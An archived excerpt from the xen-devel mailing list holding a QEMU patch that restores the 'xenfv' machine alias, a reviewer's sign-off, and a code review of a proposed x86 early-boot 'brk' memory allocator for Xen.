List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785428646; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=DW9g/0CRlwYVHg/ukVqiiLsP9W6XmMsTesm4A4QPhNY=;
	b=oVXIp1MTkLjE00xUGObRqp/RwqMUq1TVOlqXFeScHl6bACPSJzjpTnNRObehxyF1oD/SRO
	wIaNlJBBbUIrSJlYaLswlVGTr532lVkIEIZYSbSGoKqwoBooq9qokh4YLq5tqFO1/UxRiZ
	EQ6iOVNnSH7eou1Iju7z7p21VmOmm0A=
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1785428641; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=DW9g/0CRlwYVHg/ukVqiiLsP9W6XmMsTesm4A4QPhNY=;
	b=POoP3IRq+2/v4dKYhiGAIuwnOgT6W0831PnzyMlgRD/SptvV7Zhx60nSv8SpDeCMZyStQY
	XlC2POQsLhehhmopw+xOmpmgHfHt6bqM7NXYkp0QxclNdWSFNHbE4xs5Ctp7WVWHjtHP1e
	XT6LTgj3Z8GxRmULdCyt6zxR5BIpbWQ=
From: Dario Faggioli <dfaggioli@suse.com>
To: qemu-devel@nongnu.org
Cc: philmd@linaro.org,
	xen-devel@lists.xenproject.org,
	sstabellini@kernel.org,
	anthony@xenproject.org,
	paul@xen.org,
	Dario Faggioli <dfaggioli@suse.com>,
	Paolo Bonzini <pbonzini@redhat.com>,
	Richard Henderson <richard.henderson@linaro.org>,
	"Michael S. Tsirkin" <mst@redhat.com>
Subject: [PATCH] hw/i386/pc: xen: reinstate the "xenfv" machine alias
Date: Thu, 30 Jul 2026 18:22:38 +0200
Message-ID: <20260730162238.3308286-1-dfaggioli@suse.com>
X-Mailer: git-send-email 2.55.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	RCPT_COUNT_SEVEN(0.00)[10];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:mid,suse.com:email,imap1.dmz-prg2.suse.org:helo];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Flag: NO
X-Spam-Score: -2.80
X-Spam-Level: 
X-purgate-ID: tlsNG-ef75cf/1785428650-A7AD0AE4-35650D56/0/0
X-purgate-type: clean
X-purgate-size: 1165

Commit 7d2778dea32a4924a469f1cc5767042c8f5b4eea ("hw/i386/pc:
Remove deprecated pc-q35/pc-i440fx/xenfv 3.1 machines") removed
the Xen machine type that was providing the "xenfv" alias. As a
consequence, since the tools are apparently relying on such alias,
we're getting this, as soon as one tries to start a Xen (HVM) VM:

  qemu-system-i386: unsupported machine type: "xenfv"
  Use -machine help to list supported machines

Reinstate the alias and let it point to the only Xen machine we
still have.

Fixes: 7d2778dea3 hw/i386/pc: Remove deprecated pc-q35/pc-i440fx/xenfv 3.1 machines
Signed-off-by: Dario Faggioli <dfaggioli@suse.com>
---
 hw/i386/pc_piix.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/hw/i386/pc_piix.c b/hw/i386/pc_piix.c
index 82457bdb16..0a911ce59e 100644
--- a/hw/i386/pc_piix.c
+++ b/hw/i386/pc_piix.c
@@ -658,6 +658,7 @@ static void xenfv_machine_4_2_options(MachineClass *m)
 {
     pc_i440fx_machine_4_2_options(m);
     m->desc = "Xen Fully-virtualized PC";
+    m->alias = "xenfv";
     m->max_cpus = HVM_MAX_VCPUS;
     m->default_machine_opts = "accel=xen,suppress-vmdesc=on";
 }
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:28:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:28:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378199.1623772 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTcH-0002qF-TL; Thu, 30 Jul 2026 16:28:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378199.1623772; Thu, 30 Jul 2026 16:28:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTcH-0002q8-Py; Thu, 30 Jul 2026 16:28:17 +0000
Received: by outflank-mailman (input) for mailman id 1378199;
 Thu, 30 Jul 2026 16:28:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <berrange@redhat.com>) id 1wpTcG-0002q2-7t
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:28:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTcF-003oMv-Kn
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:28:15 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <berrange@redhat.com>)
 id 6a6b7b7c-bab6-0a2a0a5309dd-0a2a4507db7c-16
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:28:15 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <berrange@redhat.com>)
 id 6a6b7b9e-b4ea-0a2a45070019-aa0a817cea87-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:28:15 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-483-7xMYhJITPlqpE46A-NtYBA-1; Thu,
 30 Jul 2026 12:28:09 -0400
Received: from mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.93])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 0B62D195608D; Thu, 30 Jul 2026 16:28:07 +0000 (UTC)
Received: from redhat.com (unknown [10.44.50.113])
 by mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 63B801800480; Thu, 30 Jul 2026 16:28:03 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Reply-To:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1785428894;
	h=from:from:reply-to:reply-to:subject:subject:date:date:
	 message-id:message-id:to:to:cc:cc:mime-version:mime-version:
	 content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=6Y4UE00n91iOuO1sMGSgdTcXw7u/2gX5tngNSzLTVMg=;
	b=NxZ58oobzHkhjI4YE+R4wW1zuz3/hPiU4S+1ljwFg64gPuoFvwAsyUDgUXR8ZFs/RMkNPF
	YXCEGizf64hiHAoo4026Lwv4J4OWXTmjKsxN8mJfHwaSxTdRaQFu2ZqINk9aqvRdJThtur
	inVhF2YStC/VC+jkabWfCULTaqXuqlM=
X-MC-Unique: 7xMYhJITPlqpE46A-NtYBA-1
X-Mimecast-MFC-AGG-ID: 7xMYhJITPlqpE46A-NtYBA_1785428887
Date: Thu, 30 Jul 2026 17:27:59 +0100
From: Daniel =?utf-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>
To: Dario Faggioli <dfaggioli@suse.com>
Cc: qemu-devel@nongnu.org, philmd@linaro.org,
	xen-devel@lists.xenproject.org, sstabellini@kernel.org,
	anthony@xenproject.org, paul@xen.org,
	Paolo Bonzini <pbonzini@redhat.com>,
	Richard Henderson <richard.henderson@linaro.org>,
	"Michael S. Tsirkin" <mst@redhat.com>
Subject: Re: [PATCH] hw/i386/pc: xen: reinstate the "xenfv" machine alias
Message-ID: <amt7j5SAZo07O7xB@redhat.com>
Reply-To: Daniel =?utf-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>
References: <20260730162238.3308286-1-dfaggioli@suse.com>
MIME-Version: 1.0
In-Reply-To: <20260730162238.3308286-1-dfaggioli@suse.com>
User-Agent: Mutt/2.4.0 (2026-06-19)
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.93
X-Mimecast-MFC-PROC-ID: prjHF_tdPwjzOPpFFne5a2W_XQwrT-a4h_w9hMUwYXY_1785428887
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1785428895-374D3AE4-FD4CC120/0/0
X-purgate-type: clean
X-purgate-size: 1132

On Thu, Jul 30, 2026 at 06:22:38PM +0200, Dario Faggioli wrote:
> Commit 7d2778dea32a4924a469f1cc5767042c8f5b4eea ("hw/i386/pc:
> Remove deprecated pc-q35/pc-i440fx/xenfv 3.1 machines") removed
> the Xen machine type that was providing the "xenfv" alias. As a
> consequence, since the tools are apparently relying on such alias,
> we're getting this, as soon as one tries to start a Xen (HVM) VM:
> 
>   qemu-system-i386: unsupported machine type: "xenfv"
>   Use -machine help to list supported machines
> 
> Reinstate the alias and let it point to the only Xen machine we
> still have.
> 
> Fixes: 7d2778dea3 hw/i386/pc: Remove deprecated pc-q35/pc-i440fx/xenfv 3.1 machines
> Signed-off-by: Dario Faggioli <dfaggioli@suse.com>
> ---
>  hw/i386/pc_piix.c | 1 +
>  1 file changed, 1 insertion(+)

Reviewed-by: Daniel P. BerrangÃ© <berrange@redhat.com>


With regards,
Daniel
-- 
|: https://berrange.com       ~~        https://hachyderm.io/@berrange :|
|: https://libvirt.org          ~~          https://entangle-photo.org :|
|: https://pixelfed.art/berrange   ~~    https://fstop138.berrange.com :|



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 17:59:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 17:59:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378347.1623782 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpV2Y-0001B9-3T; Thu, 30 Jul 2026 17:59:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378347.1623782; Thu, 30 Jul 2026 17:59:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpV2X-0001B2-VG; Thu, 30 Jul 2026 17:59:29 +0000
Received: by outflank-mailman (input) for mailman id 1378347;
 Thu, 30 Jul 2026 17:59:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wpV2W-0001Aw-QO
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 17:59:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpV2V-00Bi9C-RZ
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 19:59:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b909a-e002-0a2a0a5209dd-0a2a4509867c-46
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 19:59:27 +0200
Received: from [40.93.195.10]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b90fe-be1a-0a2a45090019-285dc30a30cd-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 19:59:27 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by MN6PR03MB7599.namprd03.prod.outlook.com (2603:10b6:208:4fa::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Thu, 30 Jul
 2026 17:59:24 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Thu, 30 Jul 2026
 17:59:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=rAlmoNTZNLyTkai3yd3hdjPG8SkdRX9FMsG6nm07q0rF9/lKz83wQHw5a3vlgWilkSzXinAd/vz3EvVEcgVwZ3iShq9l9+XFK1nrH70GdYrp7T71AqfXDW1flQRsLLEH/5Q8sHCbZRp2hm6xAuInpNaxKjE0quQXxMrhNi5+GAA9piDr2PZohkAt2mbv48vhujl2xCKjhiPpu5SgOOv99Fa99A1oC56qZmDqIqYqGi1xEShDUNxlptQ7WnX54u05Hp6nRHlpadk76v4/BJmuL5+gLwEhddvqOPI1YPwm1e59y5r82qq1S/7uUvX3B6xGTubjN9FzOFOTjyJKJApSpg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=k6iSvvMeb7pFL4osUoHftjsz9tl5oIZq30inWXDnugo=;
 b=MidNc8KveKvycE4dk5lZzUYWnCgn1cLYuh0IwZulIkHewdw655UgYK+S9/5ewlIl8lCFWQiS4EdNm1zTldzcdaBA2D7k2WpuCY15+mjWKgQbM9kCWwE6jJaRgDfbKOhGAHftrjSwvb/StfT893gkbJ9Dlb/1/aRYlhnode7YseGH+2ctTeYJr17ailt/uljsvv5Yw1jWv1eyYqinQDAz8v3mdEoKWssGWmeaT4/0b2coGQLXlVAeUNmevlrAjZIMtrnFgCL8se+r+lfZtbibx9khi2utca4hFAcTITCmDsndk3/SP9mldVxu24FKd1HTLKS89hbmkOV8V3bNLHic/g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=k6iSvvMeb7pFL4osUoHftjsz9tl5oIZq30inWXDnugo=;
 b=LZBtRzriTRgs2q0SMgN0GUCLfYv1dLEfA5c2NvwJxED7//hOC3pz2IYGKdpunV/201n/BbaFkvGtE7qsxZJzZzqrgap6NCocpAeU9K+VHT0JuLlKhWrzxVflmTZbmkcnPml6eSaf9IqXwMqeYaC9MR3kjyI1eBfAms03DWQ9V7A=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <91bdef16-2da7-49e7-af5a-e395da533330@citrix.com>
Date: Thu, 30 Jul 2026 18:59:20 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
Subject: Re: [PATCH v2 1/3] x86: introduce "brk" allocator
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
 <f7e3cd68-f6de-4ada-87d9-1a5dff277b2f@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5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QO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <f7e3cd68-f6de-4ada-87d9-1a5dff277b2f@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P302CA0005.GBRP302.PROD.OUTLOOK.COM
 (2603:10a6:600:2c2::13) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|MN6PR03MB7599:EE_
X-MS-Office365-Filtering-Correlation-Id: b662812b-50dc-46c3-121b-08deee6449f3
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|376014|1800799024|22082099003|18002099003|56012099006|10067099003|4143699003|11063799006;
X-Microsoft-Antispam-Message-Info:
	cTYS9Dsu3xF27gMPz64uDNtZnl/zKqi07vhzao3Xf56mPNjDKKvjmp1ez0VDsSR+zwFpwc1ivEvlz2xmG4zLKxP8waxB1K4ngX2H5UFXGLpnbUEGOqAk0H/mMIFEzSbyrVw0hZ9sJs/dA2rHicWR9SkBchvYpptpe/aghrVeaZHkI+oXrRN9AXBCPMe/Z49v7nYjkEhPZBpWFonZgdxJRv7Bm0/7t4WToZoEmdl6f7OYSn0eomJgGB+iXnmqr8v0NDYsqXQzUHD41rreY0wA23JLvg+/Bc4rZioDosNoFUPSw8wNXXPP6vcEE3N1RNhHgwjKFKOPK24afS5sLt7fh9zYrvjuBcVLN5MEElGp9PuxcsrAHkPTuck5qBUajFQPkkDjpYGpubcDmOZFqJCW/VZHx4iHwyiFzXr0G3SxIJyXXHTVpAAQXKV0VWET2uL5zc7/oo+U2oH7JZvGf2+S5/Fwa1+7N86/n31RMluZSL9O1nx7LRaqKeGomB9ZFh8JiZ5JZnbyw3Jw0QbVj4Zl9GiSSJIEzSgptncwTqReGhDGN2dy91uvcQemCePiNO7dB3aoOrcbd2xjD0ngHaDidc/S3c2ufvpX7ZL9Aa8BM6dKYQ/hFfPSbyZNPR1oq0W8lMQv4La3MHVslyXZXLzYFdv9OPFtgx5VMeYbF738p74=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(1800799024)(22082099003)(18002099003)(56012099006)(10067099003)(4143699003)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?QkpFMHFEM2VEOVBBcGdUUU9paFYrNzQ0WStpZXhCY3R0c3NUV084eVpzQ2VX?=
 =?utf-8?B?QVZHK1pSbWgwNXVlaHNxN3VBMGFTSTVlR1prczdxRXVKUHZuK1J6OVFqWjF5?=
 =?utf-8?B?RGdVNzc5NjRuQmh3dFNPbmtzd1hPQzdISXJGcFQra096ZTVnaWRVT0Rvemsw?=
 =?utf-8?B?YWhnOFJCZlduL0FxQi9uUjF1c2kxZTUxdVBUVGV4UEF3YWdldUtiQi9LcWZ4?=
 =?utf-8?B?Vzd6VFVHUnRKRjJ6dE14ZitZOFA1dDkweENqUlpDZWFXUjVWOWhlWGMvSDBR?=
 =?utf-8?B?ZG84dXVJSXA5YUV1TlJVNmxKVmhCRjVxMjkyRVQ0UDdadXMvWnR2N2FKQmxM?=
 =?utf-8?B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XdxOHJMRUNhQlQ1ZDd0c2x6RlVBeVpaMDNWY1JLcmJXK3ZQ?=
 =?utf-8?B?dGgyRVRSSzJZNDlPV0ttbDJtSWhTQ21oRXpKTGJ4Q2ppVzl6QXZGL2hTQUUy?=
 =?utf-8?B?SVZLOXNCQWdnd0xXVzFsWGtscFpyN3VjdXdCQ1p6V3AwU0tnak9aRkJVTlpx?=
 =?utf-8?B?VFl3bEF6ZVJqQmFOZ1VWTVR4NTNCeUVhZGNYSktZdERwUTJBbldOaEE1ZVBV?=
 =?utf-8?Q?D0J9W4JMPeNIs65s=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b662812b-50dc-46c3-121b-08deee6449f3
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 17:59:23.8982
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: t49sLWDGkpa4lNByeLllLWE1uvhMbQOmtz/RRPjAyoOMYx8KsbTcM+pzEUplY/XVZmPjw0SR4UC3FitwTn5cup/glMi4hPqw/IkPorb0XcE=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN6PR03MB7599
X-purgate-ID: tlsNG-bad1c0/1785434367-BF4D3034-A6DA585F/0/0
X-purgate-type: clean
X-purgate-size: 4989

On 27/07/2026 11:19 am, Jan Beulich wrote:
> --- a/xen/arch/x86/boot/Makefile
> +++ b/xen/arch/x86/boot/Makefile
> @@ -1,4 +1,5 @@
>  obj-bin-y += head.o
> +obj-bin-y += brk.init.o
>  obj-bin-y += built-in-32.o
>  obj-bin-y += $(obj64)
>  
> --- /dev/null
> +++ b/xen/arch/x86/boot/brk.c

While brk.c has x86 specifics, I'm not sure it's worthy if being in
boot/, rather than simply in x86/.Â  It's used until mid way through
__start_xen().

> @@ -0,0 +1,72 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +#include <xen/efi.h>
> +#include <xen/lib.h>
> +#include <xen/mm.h>
> +#include <xen/page-defs.h>
> +
> +#include <asm/brk.h>
> +
> +extern char __brk_start[];
> +extern const char __bss_end[];
> +
> +static unsigned long __initdata allocated;
> +static bool __initdata finished;
> +
> +void *__init brk_alloc(size_t size)
> +{
> +    void *ptr = __brk_start + allocated;
> +
> +    if ( finished )
> +        return NULL;
> +
> +    /* Allocations PAGE_SIZE and up will be page-aligned. */
> +    if ( size >= PAGE_SIZE )
> +        allocated = ROUNDUP(allocated, PAGE_SIZE);
> +
> +    allocated += ROUNDUP(size, sizeof(void *));
> +
> +    if ( allocated > __bss_end - __brk_start )
> +        return NULL;

This means one (or more) subsystem has brk_alloc()'d more than they
reserved.

While returning NULL is probably the best action, I think a
printk_once() is also warranted.

> +
> +    return ptr;
> +}
> +
> +unsigned long __init brk_get_unused_start(void)
> +{
> +    finished = true;

This doesn't get the unused start.Â  It also terminates the allocator,
and the name needs to reflect that.

But combined with brk_end in the next patch, it's really quite a mess.Â 
Integrating brk_end properly simplifies this patch too.

> +
> +    allocated = ROUNDUP(allocated, PAGE_SIZE);
> +
> +    return (unsigned long)__brk_start + allocated;
> +}
> +
> +void __init brk_free_unused(void)
> +{
> +    unsigned long start = brk_get_unused_start(),
> +                  end = (unsigned long)__bss_end;
> +    unsigned int subsys;
> +
> +    /*
> +     * Only xen.efi will have the symbol __subsystem__ available, and it'll
> +     * be non-zero (10) there.  In ELF the symbol will be undefined, and
> +     * hence zero will be loaded into the register.
> +     */
> +    asm ( ".weak __subsystem__; mov $__subsystem__, %0" : "=r" (subsys) );
> +
> +    /* using_2M_mapping() isn't available here. */
> +    if ( IS_ENABLED(CONFIG_XEN_ALIGN_2M) || subsys )
> +        start = PAGE_ALIGN_2M(start);
> +
> +    if ( start >= end )
> +        return;
> +
> +    destroy_xen_mappings(start, PAGE_ALIGN_2M(end));
> +
> +    /*
> +     * By reserving needed space early in the E820 map, excess space gets freed
> +     * way before we make it here. Don't free the range a 2nd time.
> +     */
> +
> +    printk(XENLOG_INFO "Freed %lukB unused BRK memory\n", (end - start) >> 10);
> +}
> --- /dev/null
> +++ b/xen/arch/x86/include/asm/brk.h
